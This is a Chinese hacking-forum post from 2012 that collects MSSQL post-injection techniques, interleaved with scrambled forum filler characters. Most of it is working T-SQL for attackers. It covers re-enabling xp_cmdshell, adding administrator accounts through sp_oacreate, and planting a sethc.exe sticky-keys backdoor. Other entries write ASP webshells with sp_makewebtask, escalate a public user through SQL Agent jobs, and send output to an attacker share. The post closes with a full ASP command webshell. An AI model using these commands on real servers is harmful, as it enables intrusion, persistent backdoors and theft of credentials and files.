找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2269|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号: J" }$ u, C6 a: {" O
恢复方法:查询分离器连接后,
+ w1 y# x; L6 o第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
' ?/ V; C; V. v# o第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' $ K# z; H% _' `! s8 k5 M
然后按F5键命令执行完毕
( r9 i" e% L' o) [; S
. `- M; C2 V$ z- x, F! Z; A2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)0 q: @# E2 }: V
恢复方法:查询分离器连接后,, n% ?+ b! _7 h) r/ v* h
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"7 l3 e' H( t% @4 V; ]$ b* ~+ y
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'( ^. u) ~* q* B  [$ R
然后按F5键命令执行完毕' C1 z6 X( r- D5 h2 h. m

: e* c$ _. i- z) f2 L3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
# C/ f/ w9 [' l: R恢复方法:查询分离器连接后,
. n) B2 W& T% h: H0 }' c0 s$ s+ A第一步执行:exec sp_dropextendedproc 'xp_cmdshell'; H/ T, ~7 L& ?  h( M
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       . [/ K' d- v% _" G
然后按F5键命令执行完毕
) Y  }; ~6 k1 e) C6 w  q3 i- Q3 ~$ K2 [; j+ b" k8 h
4 终极方法.
) m$ B! u0 Q) \如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
! A0 P4 c- P# |+ A* q  ?& W1 z" M查询分离器连接后,
, M: L& ], _3 [4 N# i2 s% F2000servser系统:2 {, j# @4 }6 R4 J8 M* W" o
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'& r, d* V; U! [2 s+ ~& Q! j' Q
& [- j4 W* I9 K' Z% |3 \2 f) O8 I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'& t3 D0 ^( G! C
4 q" l6 `7 p3 @1 g4 P" n
xp或2003server系统:+ o# n' |+ E1 p- q
& r/ w3 C5 a1 s0 m
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
4 d% @) k, G5 |, d7 g/ N4 Q- [0 n; R  F# I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'- g$ Y* E: v) p
4 n0 w" C$ ~9 o* }& T
1 r9 C$ W# ^( t3 S4 N- c
五个SHIFT2 i- d8 S% Y- u1 o, Z! R
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
, E, E; {: X1 ?
" ]  j& ^% N/ g, p& Cdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
' A6 p/ o& e7 j/ o3 A7 a1 {3 C  D4 m3 a# e& T" x
xp_cmdshell执行命令另一种方法
; g8 J" p+ a+ N6 i* ~declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 3 N3 \+ {- H2 b  C5 Z

8 Z. r+ z* E3 }" ]2 R- v  b判断存储扩展是否存在/ k0 x) L7 U# o. {3 v
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'% y# D+ T3 ?0 H, `! M7 a5 t% }
返回结果为1就OK
! L: I2 M( I# D  `
1 Q% P# g4 t# d8 H6 G, h
; |$ A9 }1 L0 y上传xplog70.dll恢复xp_cmdshell语句:
. l: J# J) i9 C4 I; lsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'" T. r+ A+ _9 I6 o

* p% V" s( C# t/ Q否则上传xplog7.0.dll
' t  M7 k2 I+ [% H. T* ]) G' dExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'9 n7 ^% @% u! X* [5 v& `9 r

3 A( @& W4 S/ q/ W- u% E8 a' [! o# Q7 T0 h' [7 z7 V

3 ^+ Y; o# N/ w- z5 L首先开启沙盘模式:: ?( x) k5 d1 q* x/ X
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
- Z$ w  q' J& q, x1 e: h, u$ S1 n4 u+ K7 q' }9 a$ E
然后利用jet.oledb执行系统命令. n! y1 L+ B6 ~7 H2 e
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')7 P  H8 W4 C6 s+ t; K
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
% Y7 m+ Q' P0 q
* C4 E3 D! q4 D! E, f9 I" `" P' p5 d- v3 Z, l! j4 n) h
* B4 M0 D7 B) _# _7 V2 S
恢复过程sp_addextendedproc 如下: . r3 n6 U* u. l' x' m* A
create procedure sp_addextendedproc --- 1996/08/30 20:13 + `$ N0 D+ F/ v1 R+ u: Y* N% k
@functname nvarchar(517),/* (owner.)name of function to call */
7 [* H9 k# h4 N" M/ ?$ s! X  r@dllname varchar(255)/* name of DLL containing function */
6 H/ Y" r, f5 R+ q3 B; Jas
& O/ r3 a  g8 p, J. j0 wset implicit_transactions off & ]/ J/ d9 V7 _0 k6 d7 {  K
if @@trancount > 0
' O1 f0 S6 T# K; A+ N, jbegin 7 |. W2 B( y3 u
raiserror(15002,-1,-1,'sp_addextendedproc')
$ s& L' A  n( |" c  O, D  K/ K$ r) lreturn (1) 5 w/ n6 n% ]  c: \  Z( ^9 V2 A
end
- C6 R: s* E6 G, I  {7 g( {/ edbcc addextendedproc( @functname, @dllname) 7 \- v) f" j: y* ?
return (0) -- sp_addextendedproc ' |! h  d5 i) {0 g
GO
7 \: `# T/ C. F, M: e. a# m
6 B/ h9 M, l1 G9 G# C* {& J; h) ?7 s  k* H( a! m8 Q: m

% l! P# a, a. |2 E- P7 a# P% C. n导出管理员密码文件* Z: T: N. R+ t* [# \
sa默认可以读sam键.应该。, H: m" k* Q2 U. ~. u8 V9 i# T1 R
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg9 J* b! |! v# L
net user administrator test* N- F7 c* o& c+ K( M4 d
用administrator登陆.
! @' L& m+ {8 x6 @用完机器后6 n. S; S* X; c! t0 b& [/ p6 V6 f
reg import c:\test.reg9 s/ B; ~# |) G- E* I
根本不用克隆.
/ M! b& h/ D. V+ m找到对应的sid.
  s( T( _6 v. o2 E$ P# b8 m7 u% R9 ^1 T3 O

, a1 S4 J6 y+ X# t  X4 Y9 {' |0 _4 y
$ d) Z; n# v& {4 A! E0 L  O恢复所有存储过程
* E; E# V2 V2 [4 @use master
  ]: j. S9 \* f+ s8 h) Mexec sp_addextendedproc xp_enumgroups,'xplog70.dll' : _/ J& H8 F8 h% T
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
! s6 u' b& Y  v! A6 {& mexec sp_addextendedproc xp_loginconfig,'xplog70.dll'   ?# n3 i" L: b/ l7 ~
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
# p7 a0 e; [$ I* Mexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' $ |: C- _) W8 G7 H4 @  Z- W. V4 X/ {
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
% s0 A4 ?- x, s1 Q5 `- E8 f2 Iexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
; v4 v( h6 X! s- M+ Gexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 2 u" J+ R3 q+ _' g
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
) F: Y1 v6 I/ `1 Nexec sp_addextendedproc sp_OAMethod,'odsole70.dll' 2 z( a1 d! ^7 s5 K  u0 A
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
9 A2 U, C0 o  U- u) w& Q8 Fexec sp_addextendedproc sp_OAStop,'odsole70.dll'
1 c4 B+ l, ?* O5 @/ |, |exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
6 H# Q- a6 }9 x2 C+ Gexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
4 U* t" P3 l; y) [( zexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' % J. k+ o+ j! W+ n) M+ b; _
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
$ l4 @; `# X1 Y/ q+ Dexec sp_addextendedproc xp_regread,'xpstar.dll' $ }5 B6 `. P' m! v; V
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 6 M: h. c; f% h8 V
exec sp_addextendedproc xp_regwrite,'xpstar.dll' ( J# c5 g; v. [" K7 {8 ]3 `
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'4 T! w& d8 Z4 [3 ^- C
' J1 ?0 K, X" j1 @

( S: m+ d7 l- d8 a8 \; B建立读文件的存储过程
. x$ ^& e/ t8 o; [2 `. h, x! vCreate proc sp_readTextFile @filename sysname$ ?# S" @! ~8 F
as& I8 ]) o0 W" m4 j2 I( H1 d* ]
% ~, O0 t, l6 ]% l0 U6 f5 }8 `" m
    begin
# L9 ~# G2 @- @, V1 f: [; ]0 l6 f    set nocount on
# h9 `+ T% Y5 }/ r) R6 y    Create table #tempfile (line varchar(8000)): E" |0 \! w. m9 ^" v6 ]" \  z
    exec ('bulk insert #tempfile from "' + @filename + '"')! g) Q/ \- Y7 t  O6 w- O; W0 F) K
    select * from #tempfile* }! g' d2 K9 b6 c0 [  Y
    drop table #tempfile
6 M. J, r$ J5 z2 E0 SEnd+ e4 K/ S2 T! b; N+ d0 E! W

; w- R3 x6 S# U5 `' j( Texec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件. X' s5 g( _1 Q3 K) k# Q
查看登录用户
6 a$ k* F' a5 M1 `; ]7 M7 S& @Select * from sysxlogins- n/ d" n3 Q3 e& [& O( P% X; t
: O  E/ d& G% n: z9 y4 \" k
把文件内容读取到表中$ S5 B0 H" S& j
BULK INSERT tmp from "c:\test.txt": o& `9 n& N' g" i/ a" K3 o
dElete from 表名 清理表里的内容# Z! @4 Z& F$ `9 X; z# A
create table b_test(fn nvarchar(4000));建一个表,字段为fn
1 A, e) d2 P" c5 G
3 f. i* a4 C5 U9 c2 S2 m8 \' G% x1 _: a# F" }3 J5 m
加sa用户
, w0 {: z( o* S0 Yexec master.dbo.sp_addlogin user,pass;( w+ o; h) X( ~* k% t
exec master.dbo.sp_addsrvrolemember user,sysadmin9 U, l+ L' s! u( s9 U" J+ e

) g1 J5 P, w, p# M7 @) j0 h0 B' O6 t1 X. @5 b! C& B
! n; }3 [# t* C; O* W' H
读文件代码' Z- m7 s* W! u% Z
declare @o int, @f int, @t int, @ret int* r, F) v5 P5 \; h6 m, Z4 t$ e
declare @line varchar(8000)
7 L) h5 `1 a, l; \( Rexec sp_oacreate 'scripting.filesystemobject', @o out0 P5 H; f5 b1 t5 m
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
- |# ?5 n7 o! Y8 q! [exec @ret = sp_oamethod @f, 'readline', @line out- L0 v, W* x6 J' ^# d) h1 D
while( @ret = 0 )0 L7 ^  V8 J# k0 g  q* L+ _
begin; s6 A- v% G/ }/ f8 j& c9 H8 k/ Y" U
print @line
! Y6 X1 A, |' }2 Yexec @ret = sp_oamethod @f, 'readline', @line out
' R; o- {9 y2 r: X7 e4 L0 kend
* H0 k1 [5 A# Z6 j
4 F( S0 G4 E2 D9 X
/ Y# r% D" v0 {0 r! Y) D写文件代码:
( b; `3 |! x- c3 ?declare @o int, @f int, @t int, @ret int! p) M8 {. }/ B. B' y" x4 p
exec sp_oacreate 'scripting.filesystemobject', @o out3 X  [9 K' M' ^# Z
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1  W0 m5 R. b  O! |( G+ _, w4 L& V
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》! E8 ~, o# T5 M" B, s9 y* L2 W  j
" v! s' J$ B' ?9 j0 X; I/ Z
* [" k! }3 _, [( h* @, z
添加lake2 shell
: E- Z8 h, G5 [( Qsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'1 }* d2 d% H9 a7 o
sp_dropextendedproc xp_lake22 o' D% J8 s  B' H9 q. m
EXEC xp_lake2 'net user'- s6 R6 K; o% Q5 J* U
$ U9 q7 s- Y- z- q- R( K
& u+ w9 t( @  c- u8 V# V! q, X+ g
得到硬盘文件信息
4 \( m- Z) C9 _5 p--参数说明:目录名,目录深度,是否显示文件 # r$ s2 e" W  _4 ^  F! P
execute master..xp_dirtree 'c:' . t, @# v: g! n! j( h. R1 n
execute master..xp_dirtree 'c:',1 9 q8 `. ~' Z6 A) P) B
execute master..xp_dirtree 'c:',1,1
' t1 ], l& X1 r; U6 d2 C
7 s& c- a' b0 B! n5 Y7 J( B( V2 u. k" x! s+ X
读serv-u配置信息: f$ [+ O9 O/ z. i3 R5 T
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
& \( h" x# B9 T/ t, f$ Kexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
5 E& q" K' Y3 R
1 t+ B$ w1 V; w通过xp_regwrite写SHIFT后门$ n& Z9 @  j$ Y( m" f' C! \
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--7 F7 n& A4 a; M2 n0 H$ c; U

$ t) I5 V- h" v! T- V( x2 s0 T: U* J9 P' `6 r4 b
. p; E- N" ^& D( v+ l4 L( D* G
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';& E& w2 R* s' `6 I9 {) h+ R
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
. O0 ]. |2 p* X4 n% C% \9 y5 L, T* ]% v4 S( n
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
- m' a' B" o" @) b; z6 u
" i$ S2 i( X4 ?- T/ r- b% ~) e6 R8 U8 |$ o9 T
& r* [5 n7 }0 Z0 F8 x8 n0 A7 R
sql server 2005下开启xp_cmdshell的办法
7 e+ l2 P+ L0 {& s/ y9 n
+ ]2 L) o3 y% k" d+ Z1 _EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
% G/ S) e% K0 X1 H9 R+ z  D( L) C8 m  G8 P$ v/ Q
SQL2005开启'OPENROWSET'支持的方法:2 @7 z3 K# k) Q3 U' C
+ ^6 {$ d$ G0 l9 w4 Q
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
9 @; R& s, Y- E( u. Q6 i
9 ]& t" a' x  F$ ?0 ySQL2005开启'sp_oacreate'支持的方法:
& L8 Q+ W7 v6 @! \" {* X0 p, ~- e, l% X  P8 V6 H7 L% k: s1 X
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
  z9 n. T! Y; o! a8 C
8 a1 T% |' y) d6 m( o/ E
  w8 u: p& p  B# I0 [3 A- P& T: q( @! \0 V8 B
1 x/ h& m2 X" X  P. x& O9 G

3 k! t% ?& V8 k+ h$ j4 v% G3 {9 `6 `8 m. @  q! B' o! U5 A( b
3 a2 e& [2 `0 p3 @0 U2 x
& l& R5 V2 h' R9 O8 S

  g/ A9 v; V" u( O& v7 [
1 B5 h1 V8 G- q; B8 Z# Q+ `4 G2 ]
: j$ u: {: b: O; T
2 [' Q6 L4 }. U

  @7 C6 [: Y/ ^- q3 P, v
4 x! |& @/ Z6 k  v  g/ H
7 G3 Z+ n5 ]9 Y: O* F& h5 [
/ S5 H( G6 F5 [. {7 a* Q! S( O3 K. C* P/ K2 D" ?$ p
  t0 _4 ^) W0 ^3 E" X

( l( C& E7 l5 y8 E9 v. `6 u
5 C" g3 S. W; A
# q' x0 Y, Y/ \/ e0 T) L' W- q# Z+ h) f* y& ]
2 b1 A9 {6 x$ {$ `, k. R, |
以下方面不知道能不能成功暂且留下研究哈:3 l* n: k) @6 ?5 J" h) Q
4)- N5 A* z8 I9 k+ U- O
use msdb; --这儿不要是master哟
3 m0 ~! C7 M9 E9 _exec sp_add_job @job_name= czy82 ;
5 B' a1 T) I% ?0 uexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;% A- k  [/ o+ h% a* S/ }$ X/ B
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;8 i- [' f( J" g2 }
exec sp_start_job @job_name= czy82 ;
. H# k) x. w8 {7 F. \
' w& P- f  [( F9 k! t- @8 V. }利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以/ \: z, a/ R( B7 @, j7 v. o' X
执行tsql语句了.% q" H0 T( O2 F- y/ v& B
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名5 x+ z2 O4 W% d* E4 E6 z
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
( q1 [4 ~0 W' Y1 r$ p8 cnet start SQLSERVERAGENT
* S8 V# |9 Z! W& r# ~5 R) c6 {
6 n) K% F% Z% U5 _3 A对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的2 t5 x1 s2 e' g* K. U
USE msdb6 f! ]! b$ d: L2 n- _
EXEC sp_add_job @job_name = GetSystemOnSQL ,
* J( `: m0 [# t) N  \3 ~& ~% _* p0 \@enabled = 1,' u. r9 K( W- p, }! K  ]
@description = This will give a low privileged user access to
; k4 h% s$ n0 J4 L$ X# c5 txp_cmdshell ,! I" e0 [* p, o1 V0 d
@delete_level = 1
2 J: k) P4 A, |, E+ q; oEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,0 C! G5 n. u: p! R5 v/ r
@step_name = Exec my sql ,
; ]8 ]& t* d7 p( t1 w0 v@subsystem = TSQL ,/ ~7 E; m2 w- h3 O- ]0 M
@command = exec master..xp_execresultset N select exec$ p" o& U) `: f6 G
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
) R) P5 K9 l: E  Z6 c& mEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
6 h' u! b% P2 p@server_name = 你的SQL的服务器名
/ U% ~+ b5 i$ F0 t, |& f' |$ xEXEC sp_start_job @job_name = GetSystemOnSQL 2 p5 W. V0 k; j& b( ]" \
% d) U' O8 p' H: ~
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
, V# J% A: L$ S* j3 `- K2 t7 t3 _1 L才让我们可以以public执行xp_cmdshell
9 v0 y/ k- x& i2 a6 N% [5 i  u1 b. u8 C) \! X0 L  S
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
3 ]0 H5 b- W& \5 G在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29686 @9 ?$ ~% W  W5 _$ Y! k6 Q
6 e: ^2 I0 r& A8 U/ B) f9 K
USE msdb
$ w9 O* l6 h- M  w2 j) G, YEXEC sp_add_job @job_name = ArbitraryFilecreate ,
' k) S# O4 q8 _7 `@enabled = 1,
) S2 j1 i* r: g8 \@description = This will create a file called c:\sqlafc123.txt ,0 o, Q' O& E  a$ ?. v
@delete_level = 1) a3 N1 M& I8 S, `! f
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
! O/ L- e+ b& |, M# Q6 F) B, v$ ^@step_name = SQLAFC ,, P2 ?! n, |, j8 C0 I
@subsystem = TSQL ,
; b- U8 ^* ^6 _+ _, \* w' A# [7 U@command = select hello, this file was created by the SQL Agent. ,
- A* l. r& C% ^) I: L0 e5 x$ l& t@output_file_name = c:\sqlafc123.txt
8 P4 Y: T9 ]5 XEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,7 ^( U! o$ `- V$ @* t% Q; F. T
@server_name = SERVER_NAME ) C, k2 b+ A5 Y1 m) n5 P6 i2 z
EXEC sp_start_job @job_name = ArbitraryFilecreate
8 `1 l# ]1 X& d& Q  t$ I+ d; |& j: U3 _9 T+ P! {# h
如果subsystem选的是:tsql,在生成的文件的头部有如下内容, t& t/ T/ y6 X% O# E0 y% I, v

2 h$ x' c- ~8 Q1 g2 {( X# d" u??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
# N& ]1 S. i0 b" b( h----------------------------------------------
5 U- H4 ~/ v: Whello, this file was created by the SQL Agent.
( n0 P6 O1 M# V* K/ ]
/ A% w2 I* m* M2 r: {* {  g% p(1 ?????)
1 ^* S: z8 I; W; a* }; n
6 J  p( S( n! p. k所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员- H- H2 w" O; y1 P1 Q
命令的vbs文件到启动目录!
9 E* G. }2 l& U. G
- U' w9 c! ^9 X  P! w% m6)关于sp_makewebtask(可以写任意内容任意文件名的文件)0 M; a! _9 g# T' k8 r7 k6 _' v) y
关于sp_MScopyscriptfile 看下面的例子! O! ?4 ^  ?5 v' B$ M/ j) G$ R
declare @command varchar(100)
* o- C5 o. g6 O: M' ^declare @scripfile varchar(200)
. m( `% S5 F" W  sset concat_null_yields_null off
# n( I8 _) G+ Q( [6 [- Aselect @command= dir c:\ > "\\attackerip\share\dir.txt"
+ S2 l8 U+ i, P0 Uselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
* L2 y5 S8 G# P! ?2 a" V9 q% Wexec sp_MScopyscriptfile @scripfile , 3 r3 |) ?. ^$ K7 p; f

, \* n1 D' F0 f这两个东东都还在测试试哟1 v! \# [' o3 A/ B  m$ F& M* K5 G" e( R
让MSSQL的public用户得到一个本机的web shell' _" ~- x) f& p- N

8 [5 }: m' {2 D6 s. }& Bsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
9 T. W0 _6 B5 h3 _--@query= select <img src=vbscript:msgbox(now())> & |  A6 d" h9 r' a6 I! c4 u
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
6 s: R0 K- v/ m7 S( @4 F' R# n@query= select 6 D/ s6 \4 x5 Q" k  e# T. j
<%On Error Resume Next ' B) `; `) ?: X8 O! l2 y7 e7 x* h
Set oscript = Server.createObject("wscript.SHELL")
! n: m! I5 J; A& {, U" o* S1 WSet oscriptNet = Server.createObject("wscript.NETWORK") ' U- _. G/ ]/ }0 B. l# t6 }$ X9 M9 n. }
Set oFileSys = Server.createObject("scripting.FileSystemObject") 9 W; a9 j# j7 [8 S& r
szCMD = Request.Form(".CMD")
$ B0 Z+ D6 @: t7 dIf (szCMD <>"")Then ! l+ }9 t" W: o
szTempFile = "C:\" & oFileSys.GetTempName() ; e! y$ F9 E7 }; ~
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
9 H* _9 Q; r! b! W) w0 oSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 9 h/ H# v4 X6 @- E+ S$ {* C: i0 r
End If %> 8 X. X# R& A3 \+ ~
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> $ P) |1 u" n8 [5 w: O6 ]
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
4 s2 q: e) p4 N( |3 x2 D8 Q" i- F</FORM><RE> : J/ s, n/ t7 E- G0 r- n
<% If (IsObject(oFile))Then 8 d' w4 o6 k; p! V6 [
On Error Resume Next
! g& Q1 K2 B- Q. [$ j. {4 vResponse.Write Server.HTMLEncode(oFile.ReadAll) ! K5 q) p7 O# K2 d
oFile.Close
/ E" t% Z% Q8 A4 y- BCall oFileSys.deleteFile(szTempFile, True) 0 O1 ^3 A' _8 m2 t- j$ V/ n
End If%> 5 F: B* ]' I% [! Z3 u* F: ]' g9 |
</BODY></HTML>
# @4 O) _2 O/ J/ q1 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表